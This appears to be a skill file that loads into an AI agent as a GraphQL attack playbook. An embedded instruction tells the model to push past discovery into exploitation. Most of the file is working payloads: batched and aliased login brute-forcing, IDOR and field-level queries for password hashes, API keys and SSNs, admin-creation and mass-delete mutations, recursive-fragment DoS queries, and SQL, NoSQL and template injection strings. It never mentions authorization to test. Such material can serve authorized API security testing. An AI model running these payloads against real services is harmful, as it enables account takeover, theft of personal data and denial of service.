graphql-and-hidden-parameters

name	graphql-and-hidden-parameters
description	GraphQL and hidden parameter testing playbook. Use when exploring introspection, batching, undocumented fields, hidden parameters, schema abuse, query depth DoS, mutation authorization gaps, subscription abuse, and injection via GraphQL resolvers.

SKILL: GraphQL and Hidden Parameters — Expert Attack Playbook

AI LOAD INSTRUCTION: GraphQL security testing covers schema discovery via introspection, batching abuse for rate limit bypass, hidden/undocumented field extraction, authorization gaps in nested queries, mutation abuse, subscription WebSocket hijacking, and injection through resolver arguments. Base models often stop at introspection — this skill pushes through to exploitation.

QUICK START

First-pass probes

Situation	Probe	Why
Confirm GraphQL	{__typename}	Universal GraphQL fingerprint
Schema discovery	__schema { types { name } }	Full introspection
Field suggestions	Send typo in field name	Error may suggest valid fields
Batching abuse	[{query1}, {query2}, ...]	Array of queries bypasses rate limits
Hidden fields	Add debug, admin, internal to types	Undocumented fields
Injection test	"1' OR '1'='1" in arguments	Resolver may pass to SQL/NoSQL

First-pass probe set

{__typename}
{__schema { types { name fields { name } } }}
{__type(name: "User") { fields { name type { name } } }}
mutation { __typename }
subscription { __typename }

---

1. INTROSPECTION AND SCHEMA DISCOVERY

Full Introspection Query

query {
  __schema {
    types {
      name
      fields {
        name
        type {
          name
          kind
          ofType { name kind }
        }
        args {
          name
          type { name kind }
        }
      }
    }
    queryType { name }
    mutationType { name }
    subscriptionType { name }
  }
}

When Introspection is Disabled

• Field suggestions: Send {usr} → error may respond "Did you mean \"user\"?"
• Error-based discovery: {__type(name: "User") { name }} may still work
• JS bundle mining: Extract field names from frontend JavaScript bundles
• Mobile APK/IPA: Decompile and search for GraphQL field names
• Known type probes: Try common types (User, Post, Admin, Config, Token)

Apollo Studio / GraphiQL Exposure

/graphql?explore=1
/altair
/graphiql
/graphql/console
/playground

---

2. AUTHORIZATION GAPS

IDOR via GraphQL

# Normal user query:
query { user(id: 1) { name email } }
# Try accessing other users:
query { user(id: 2) { name email passwordHash role } }

# Nested authorization gaps:
query {
  user(id: 1) {
    posts {
      comments {
        author { email role }  # May bypass object-level auth
      }
    }
  }
}

Field-Level Access Control Bypass

# Public fields: name, avatar
# Hidden fields: email, role, apiKey, ssn
query { user(id: 1) { name email role apiKey ssn } }
# If field-level auth is missing, all fields returned

Mutation Authorization

# Try admin mutations as regular user:
mutation { updateUserRole(id: 2, role: "admin") { success } }
mutation { deleteUser(id: 3) { success } }
mutation { updateConfig(key: "debug", value: "true") { success } }

---

3. BATCHING AND RATE LIMIT BYPASS

Query Batching

[
  {"query": "mutation { login(email: \"[e-mail]\", password: \"pass1\") { token } }"},
  {"query": "mutation { login(email: \"[e-mail]\", password: \"pass2\") { token } }"},
  {"query": "mutation { login(email: \"[e-mail]\", password: \"pass3\") { token } }"}
]
// All queries execute in single request → bypasses rate limiting

Alias Abuse

query {
  a: login(email: "[e-mail]", password: "password1") { token }
  b: login(email: "[e-mail]", password: "password2") { token }
  c: login(email: "[e-mail]", password: "password3") { token }
  # ... repeat 1000 times in single query
}

---

4. QUERY DEPTH AND COMPLEXITY

Deep Nesting DoS

query {
  user(id: 1) {
    friends {
      friends {
        friends {
          friends {
            friends {
              friends { name }  # 6 levels deep, exponential data
            }
          }
        }
      }
    }
  }
}

Circular Fragment DoS

query {
  ...frag
}
fragment frag on User {
  friends { ...frag }
}
# If no depth limit, causes infinite recursion → server CPU exhaustion

---

5. MUTATION ABUSE

Create Without Authorization

mutation {
  createUser(email: "[e-mail]", password: "pwned", role: "admin") {
    id email role
  }
}

Update Other Users' Data

mutation {
  updateUser(id: 2, email: "[e-mail]") {
    success
  }
}
# Try modifying other users' profiles, roles, settings

Delete Operations

mutation { deletePost(id: 1) { success } }
mutation { deleteAllPosts { count } }
mutation { deleteUser(id: 3) { success } }

---

6. SUBSCRIPTION ABUSE

WebSocket Connection Hijacking

subscription {
  newMessage(roomId: "admin-room") {
    content
    author { name role }
  }
}
# If room authorization is missing, read any room's messages

Data Exfiltration via Subscriptions

subscription {
  userUpdated {
    email
    passwordHash
    role
  }
}
# Real-time stream of sensitive field updates

---

7. HIDDEN PARAMETER DISCOVERY

Undocumented Fields

• Check additionalProperties in API schemas
• Frontend code may use richer request bodies than visible UI controls
• Mobile endpoints often carry role, org, featureFlag, internalFilter fields
• Admin documentation may list fields not in public docs

Debug/Internal Fields

query {
  user(id: 1) {
    name
    email
    __debug    # Internal debugging fields
    _internal
    debug
    admin
    raw
    source
  }
}

Deprecated Fields

# Check for @deprecated directive but still functional:
{__type(name: "User") { fields { name isDeprecated deprecationReason } }}

---

8. INJECTION VIA GRAPHQL

SQL Injection in Resolvers

query {
  user(id: "1' OR '1'='1") { name email }
  search(text: "' UNION SELECT password FROM users--") { results }
}

NoSQL Injection in Filters

query {
  users(filter: "{\"$gt\": \"\"}") { name email }
  search(query: {"$where": "sleep(5000)"}) { results }
}

SSTI in Query Arguments

query {
  render(template: "{{7*7}}") { output }
  search(template: "${7*7}") { results }
}

---

DECISION TREE

Found GraphQL endpoint?
├── Introspection enabled?
│   ├── YES → Extract full schema, enumerate all types/fields/mutations
│   └── NO → Field suggestions, JS bundle mining, known type probes
│
├── Authorization gaps?
│   ├── Test IDOR: query other users' data by ID
│   ├── Test field-level: request admin/internal fields
│   └── Test mutations: create/update/delete without proper role
│
├── Rate limiting?
│   ├── Query batching: array of queries in single request
│   └── Alias abuse: repeated operations via aliases
│
├── Injection surface?
│   ├── SQL injection in resolver arguments
│   ├── NoSQL injection in filter inputs
│   └── SSTI in template arguments
│
└── DoS potential?
    ├── Deep nesting (exponential data)
    └── Circular fragments (infinite recursion)

---

TESTING CHECKLIST

• Confirm GraphQL endpoint and fingerprint implementation
• Run full introspection query (or partial if disabled)
• Enumerate all query types, mutations, subscriptions
• Test IDOR: access other users' data via ID arguments
• Test field-level access: request hidden/admin/internal fields
• Test mutation authorization: create/update/delete as low-priv user
• Test query batching for rate limit bypass
• Test alias abuse for brute-force amplification
• Test query depth limits (deep nesting DoS)
• Test injection in resolver arguments (SQLi, NoSQL, SSTI)
• Check for hidden/deprecated fields via schema introspection
• Check for debug/internal field exposure

---

MCP TOOLS

Tool	Use Case
graphql_scanner	Automated GraphQL introspection and security scanning
api_schema_analyzer	Analyze GraphQL schema for security issues
http_framework_test	Send crafted GraphQL queries with injection payloads
http_repeater	Replay GraphQL queries and compare responses
api_fuzzer	Fuzz GraphQL arguments with injection payloads
browser_agent_inspect	Inspect frontend JS for GraphQL query patterns

---

RELATED ROUTING

• If hidden fields affect privilege: IDOR and Broken Object Authorization
• If GraphQL batching changes auth or rate behavior: JWT and OAuth Token Attacks
• If endpoint discovery is incomplete: API Security Router
• If NoSQL injection found via GraphQL filters: NoSQL Injection
• If SQL injection found in resolver: SQL Injection